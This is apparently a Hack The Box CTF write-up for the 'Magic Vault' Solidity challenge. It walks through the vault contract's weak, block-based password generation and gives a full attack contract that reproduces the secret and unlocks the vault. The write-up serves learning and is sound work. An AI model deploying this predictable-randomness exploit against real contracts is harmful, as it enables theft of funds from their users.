[Challenge] HTB - Magic Vault
Today we gonna solve the “Magic Vault” challenge from hack the box
This challange and the next ones i gonna skip the configuration and interaction with the blockchain because is much time that i need to explain step by step
We gonna focus in the important things like :
- Looking the Solidity files
- Understand what we need to do to solve the challenge
- Understand the code flow
- Understand the vulnerability
- Explain how we can solve the challenge
- Solve
The challenge description :
Looking the Solidity files
Setup.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Vault} from "./Vault.sol";
contract Setup {
Vault public immutable TARGET;
constructor() payable {
require(msg.value == 1 ether);
TARGET = new Vault();
}
function isSolved() public view returns (bool) {
return TARGET.mapHolder() != address(TARGET);
}
}
Vault.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract Vault {
struct Map {
address holder;
}
Map map;
address public owner;
bytes32 private passphrase;
uint256 public nonce;
bool public isUnlocked;
constructor() {
owner = msg.sender;
passphrase = bytes32(keccak256(abi.encodePacked(uint256(blockhash(block.timestamp)))));
map = Map(address(this));
}
function mapHolder() public view returns (address) {
return map.holder;
}
function claimContent() public {
require(isUnlocked);
map.holder = msg.sender;
}
function unlock(bytes16 _password) public {
uint128 _secretKey = uint128(bytes16(_magicPassword()) >> 64);
uint128 _input = uint128(_password);
require(_input != _secretKey, "Case 1 failed");
require(uint64(_input) == _secretKey, "Case 2 failed");
require(uint64(bytes8(_password)) == uint64(uint160(owner)), "Case 3 failed");
isUnlocked = true;
}
function _generateKey(uint256 _reductor) private returns (uint256 ret) {
ret = uint256(keccak256(abi.encodePacked(uint256(blockhash(block.number - _reductor)) + nonce)));
nonce++;
}
function _magicPassword() private returns (bytes8) {
uint256 _key1 = _generateKey(block.timestamp % 2 + 1);
uint128 _key2 = uint128(_generateKey(2));
bytes8 _secret = bytes8(bytes16(uint128(uint128(bytes16(bytes32(uint256(uint256(passphrase) ^ _key1)))) ^ _key2)));
return (_secret >> 32 | _secret << 16);
}
}
Understand what we need to do to solve the challenge
Ok, so here we need to use the unlock
function from Vault.sol
to unlock the magic vault and claim the reward using the claimContent
function, after this we can claim the flag
to solve the challenge
Understand the code flow
Let’s take a look to the unlock
function
function unlock(bytes16 _password) public {
uint128 _secretKey = uint128(bytes16(_magicPassword()) >> 64);
uint128 _input = uint128(_password);
require(_input != _secretKey, "Case 1 failed");
require(uint64(_input) == _secretKey, "Case 2 failed");
require(uint64(bytes8(_password)) == uint64(uint160(owner)), "Case 3 failed");
isUnlocked = true;
}
Here we need to understand some things about the unlock
function, like :
- How the
_secretKey
are created - How to pass the 3 requires
- And the most important things, what exactly means
>>
, why there a converting to a differenttype
and what exactly this means
So let’s start taking a look of what do _magicPassword
function _magicPassword() private returns (bytes8) {
uint256 _key1 = _generateKey(block.timestamp % 2 + 1);
uint128 _key2 = uint128(_generateKey(2));
bytes8 _secret = bytes8(bytes16(uint128(uint128(bytes16(bytes32(uint256(uint256(passphrase) ^ _key1)))) ^ _key2)));
return (_secret >> 32 | _secret << 16);
}
In a general summary we can see this function call two times the _generateKey
function with different arguments, after this the code are using that two results generate the _secret
and returs a bytes8
using the >>
, but what this >>
means ?, let’s take a look :
With this we can understand better now what’s happend in the code, so let’s keep reading the code line per line to understand better what the _generateKey
does because is called two times to generate the _magicPassword
Lets divide the instructions and see what do one per one
uint256 _key1 = _generateKey(block.timestamp % 2 + 1);
In this first key returns an uint256
and if you have some experience in blockchain may be you know the block.timestamp is the first vulnerability, because this can be predicted if this are used to generate a key, so in this case this are generating a key based in the result of the modulus + 1, so in this case are passing an argument with the values 1
or 2
uint128 _key2 = uint128(_generateKey(2));
In this second key returns a uint128
and the argument used in the _generayeKey
function is the fixed value 2
So now let’s take a look of what _generateKey
function do
function _generateKey(uint256 _reductor) private returns (uint256 ret) {
ret = uint256(keccak256(abi.encodePacked(uint256(blockhash(block.number - _reductor)) + nonce)));
nonce++;
}
In a general summary this function use the _reductor
, for example 1
or 2
mentioned before and is used to subtract the reductor from the actual block.number, and then are converting the result into a differents
value types, and then are incrementing the nonce, so to understand this more in deep you need to understand what exactly do all conversions used :
- blockhash => receive : uint => returns : bytes32
- uint256 => receive : uint and others values like bytes32 => returns : uint256
- abi.encodePacked => receive : much types in this case a uint256 => returns : bytes
- keccak256 => receive : bytes => returns : bytes32
So with this you can understand better what exactly the code are doing, but if you are smart may be you are asking your self what happend if the uint256
is converting to a lower uint, well my friend, this is called explicit conversion, take a look :
So right now, i know you are understanding better the code, and if not, take your time
We have the first and most important part of the challenge to solved, of how the password are created using the _magicPassword
and _generateKey
functions and we understand what the bitwise and explicit conversion do to create the magic password
Understand the vulnerability
The vulnerability here is the block.timestamp
and how is used to generated the key using the bitwise, explict conversions, and what exactly returns, also wee can see the passphrase
is public
, so we can calculate that too, and if you are smart and do the conversions you gonna see this passphrase
is the same ever no matter in what time the smart contract is deployed
So with this we can start coding the solution in solidity creating an own smart contract that can interact with the Target, in this case the Vault.sol
to solve it
Explain how we can solve the challenge
To solve it, is simple, you just need to replicate the functions used in the vault, and call the function unlock
To bypass the require you need to understand well what the explicit conversion and bitwise do
After that you gonna understand the solution is divided in two parts of bytes8 from a bytes16 :
- first bytes8 => the owner bytes8
- second bytes8 => the _secretKey
So in a general summary the right answer for the _password
is a bytes16 that is composed with 0x[bytes8FromOwner + bytes8FromSecretKey]
So the code to solved is the next :
contract KypanzAttackVault {
Vault public vault;
bytes32 public passphrase;
uint256 public nonce;
constructor(address _vault) {
vault = Vault(_vault);
passphrase = bytes32(keccak256(abi.encodePacked(uint256(blockhash(block.timestamp)))));
}
function attack() public {
bytes16 _thePassword = magicPasswordBypass();
vault.unlock(_thePassword);
}
function setNonce() public {
nonce = vault.nonce();
}
function magicPasswordBypass() private returns(bytes16 _password) {
// 1 - [ Replication ] => "_magicPassword" + Shift
uint256 _key1 = _generateKey((block.timestamp % 2) + 1);
uint128 _key2 = uint128(_generateKey(2));
bytes8 _secret = bytes8(bytes16(uint128(uint128(bytes16(bytes32(uint256(uint256(passphrase) ^ _key1)))) ^ _key2)));
bytes8 _secretShift = (_secret >> 32 | _secret << 16);
bytes16 toBytes16 = bytes16(_secretShift);
bytes16 _secretFinalShift = toBytes16 >> 64;
// 2 - [ To Bypass the require ] Adding the first bytes8 from the owner
bytes memory _toBytes = abi.encodePacked(uint64((uint160(vault.owner()))));
bytes8 _first8Bytes = bytes8(_toBytes);
_password = _first8Bytes | _secretFinalShift;
// This returned value is like : 0x[_first8bytes + _secretFinalShift] => result => bytes16
return _password;
}
function _generateKey(uint256 _reductor) private returns (uint256 ret) {
ret = uint256(
keccak256(
abi.encodePacked(
uint256(blockhash(block.number - _reductor)) + nonce
)
)
);
nonce++;
}
}
So after run this code in the HTB ( Hack the box ) blockchain and run the attack
function and then the ìsUnlocked
we can see the next :
Then we need to call the last function claimContent
function and now you can run to the url and claim the challenge flag :